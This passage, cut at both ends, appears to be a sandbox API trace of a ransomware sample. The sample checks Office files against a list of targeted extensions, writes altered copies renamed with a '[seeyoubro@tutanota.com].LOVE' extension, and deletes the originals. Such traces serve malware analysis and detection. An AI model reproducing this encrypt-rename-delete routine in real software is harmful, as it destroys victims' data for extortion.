104 [0205.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.942] lstrlenW (lpString=".doc") returned 4 [0205.942] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.942] lstrlenW (lpString=".docx") returned 5 [0205.942] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.942] lstrlenW (lpString=".pdf") returned 4 [0205.942] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.942] lstrlenW (lpString=".xls") returned 4 [0205.942] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.942] lstrlenW (lpString=".xlsx") returned 5 [0205.942] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.943] lstrlenW (lpString=".ppt") returned 4 [0205.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.943] lstrlenW (lpString=".zip") returned 4 [0205.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.943] lstrlenW (lpString=".rar") returned 4 [0205.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.943] lstrlenW (lpString=".bz2") returned 4 [0205.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.943] lstrlenW (lpString=".7z") returned 3 [0205.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.943] lstrlenW (lpString=".dbf") returned 4 [0205.943] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.943] lstrlenW (lpString=".1cd") returned 4 [0205.943] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0205.943] lstrlenW (lpString=".jpg") returned 4 [0205.943] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.943] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.943] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0205.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.944] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=9831) returned 1 [0205.944] CloseHandle (hObject=0x368) returned 1 [0205.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0205.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.945] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.945] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.945] GetLastError () returned 0x0 [0205.945] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2667, lpOverlapped=0x0) returned 1 [0205.947] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2670, lpOverlapped=0x0) returned 1 [0205.948] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.949] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x106, lpOverlapped=0x0) returned 1 [0205.949] SetEndOfFile (hFile=0x2d8) returned 1 [0205.949] CloseHandle (hObject=0x2d8) returned 1 [0205.950] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.950] SetEndOfFile (hFile=0x368) returned 1 [0205.951] CloseHandle (hObject=0x368) returned 1 [0205.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0205.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.952] lstrlenW (lpString=".doc") returned 4 [0205.952] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.952] lstrlenW (lpString=".docx") returned 5 [0205.952] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0205.952] lstrlenW (lpString=".pdf") returned 4 [0205.952] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.952] lstrlenW (lpString=".xls") returned 4 [0205.952] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.952] lstrlenW (lpString=".xlsx") returned 5 [0205.952] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0205.952] lstrlenW (lpString=".ppt") returned 4 [0205.953] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.953] lstrlenW (lpString=".zip") returned 4 [0205.953] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.953] lstrlenW (lpString=".rar") returned 4 [0205.953] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString=".bz2") returned 4 [0205.953] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString=".7z") returned 3 [0205.953] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.953] lstrlenW (lpString=".dbf") returned 4 [0205.953] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.953] lstrlenW (lpString=".1cd") returned 4 [0205.953] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.953] lstrlenW (lpString=".jpg") returned 4 [0205.953] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.953] lstrlenW (lpString=".doc") returned 4 [0205.953] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.953] lstrlenW (lpString=".docx") returned 5 [0205.953] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0205.953] lstrlenW (lpString=".pdf") returned 4 [0205.953] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString=".xls") returned 4 [0205.954] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString=".xlsx") returned 5 [0205.954] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0205.954] lstrlenW (lpString=".ppt") returned 4 [0205.954] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.954] lstrlenW (lpString=".zip") returned 4 [0205.954] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.954] lstrlenW (lpString=".rar") returned 4 [0205.954] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString=".bz2") returned 4 [0205.954] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString=".7z") returned 3 [0205.954] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.954] lstrlenW (lpString=".dbf") returned 4 [0205.954] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.954] lstrlenW (lpString=".1cd") returned 4 [0205.954] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0205.954] lstrlenW (lpString=".jpg") returned 4 [0205.954] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.955] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.955] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0205.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.955] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=373) returned 1 [0205.955] CloseHandle (hObject=0x368) returned 1 [0205.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0205.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.955] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.956] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.956] GetLastError () returned 0x0 [0205.956] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x175, lpOverlapped=0x0) returned 1 [0205.957] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x180, lpOverlapped=0x0) returned 1 [0205.958] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.959] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x100, lpOverlapped=0x0) returned 1 [0206.002] SetEndOfFile (hFile=0x2d8) returned 1 [0206.003] CloseHandle (hObject=0x2d8) returned 1 [0206.005] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.005] SetEndOfFile (hFile=0x368) returned 1 [0206.006] CloseHandle (hObject=0x368) returned 1 [0206.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0206.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.007] lstrlenW (lpString=".doc") returned 4 [0206.007] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.007] lstrlenW (lpString=".docx") returned 5 [0206.007] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0206.007] lstrlenW (lpString=".pdf") returned 4 [0206.007] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.007] lstrlenW (lpString=".xls") returned 4 [0206.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.007] lstrlenW (lpString=".xlsx") returned 5 [0206.007] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0206.007] lstrlenW (lpString=".ppt") returned 4 [0206.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.007] lstrlenW (lpString=".zip") returned 4 [0206.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.007] lstrlenW (lpString=".rar") returned 4 [0206.008] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString=".bz2") returned 4 [0206.008] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString=".7z") returned 3 [0206.008] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.008] lstrlenW (lpString=".dbf") returned 4 [0206.008] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.008] lstrlenW (lpString=".1cd") returned 4 [0206.008] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.008] lstrlenW (lpString=".jpg") returned 4 [0206.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.008] lstrlenW (lpString=".doc") returned 4 [0206.008] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString=".docx") returned 5 [0206.008] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0206.008] lstrlenW (lpString=".pdf") returned 4 [0206.008] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString=".xls") returned 4 [0206.008] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString=".xlsx") returned 5 [0206.008] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0206.008] lstrlenW (lpString=".ppt") returned 4 [0206.008] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.008] lstrlenW (lpString=".zip") returned 4 [0206.009] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.009] lstrlenW (lpString=".rar") returned 4 [0206.009] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.009] lstrlenW (lpString=".bz2") returned 4 [0206.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.009] lstrlenW (lpString=".7z") returned 3 [0206.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.009] lstrlenW (lpString=".dbf") returned 4 [0206.009] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.009] lstrlenW (lpString=".1cd") returned 4 [0206.009] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0206.009] lstrlenW (lpString=".jpg") returned 4 [0206.009] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.009] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.009] lstrlenW (lpString="AG00011_.GIF") returned 12 [0206.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.031] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=7216) returned 1 [0206.032] CloseHandle (hObject=0x2d8) returned 1 [0206.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0206.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.032] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.032] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.032] GetLastError () returned 0x0 [0206.032] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1c30, lpOverlapped=0x0) returned 1 [0206.090] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1c40, lpOverlapped=0x0) returned 1 [0206.092] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.092] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.092] SetEndOfFile (hFile=0x2f0) returned 1 [0206.092] CloseHandle (hObject=0x2f0) returned 1 [0206.093] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.093] SetEndOfFile (hFile=0x2d8) returned 1 [0206.094] CloseHandle (hObject=0x2d8) returned 1 [0206.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0206.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.094] lstrlenW (lpString=".doc") returned 4 [0206.094] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.094] lstrlenW (lpString=".docx") returned 5 [0206.094] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.094] lstrlenW (lpString=".pdf") returned 4 [0206.094] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.094] lstrlenW (lpString=".xls") returned 4 [0206.094] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString=".xlsx") returned 5 [0206.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.095] lstrlenW (lpString=".ppt") returned 4 [0206.095] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString=".zip") returned 4 [0206.095] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString=".rar") returned 4 [0206.095] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString=".bz2") returned 4 [0206.095] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.095] lstrlenW (lpString=".7z") returned 3 [0206.095] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString=".dbf") returned 4 [0206.095] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString=".1cd") returned 4 [0206.095] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString=".jpg") returned 4 [0206.095] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString=".doc") returned 4 [0206.095] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.095] lstrlenW (lpString=".docx") returned 5 [0206.095] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.095] lstrlenW (lpString=".pdf") returned 4 [0206.095] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString=".xls") returned 4 [0206.095] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString=".xlsx") returned 5 [0206.095] lstrcmpiW (lpString1=".xlsx", 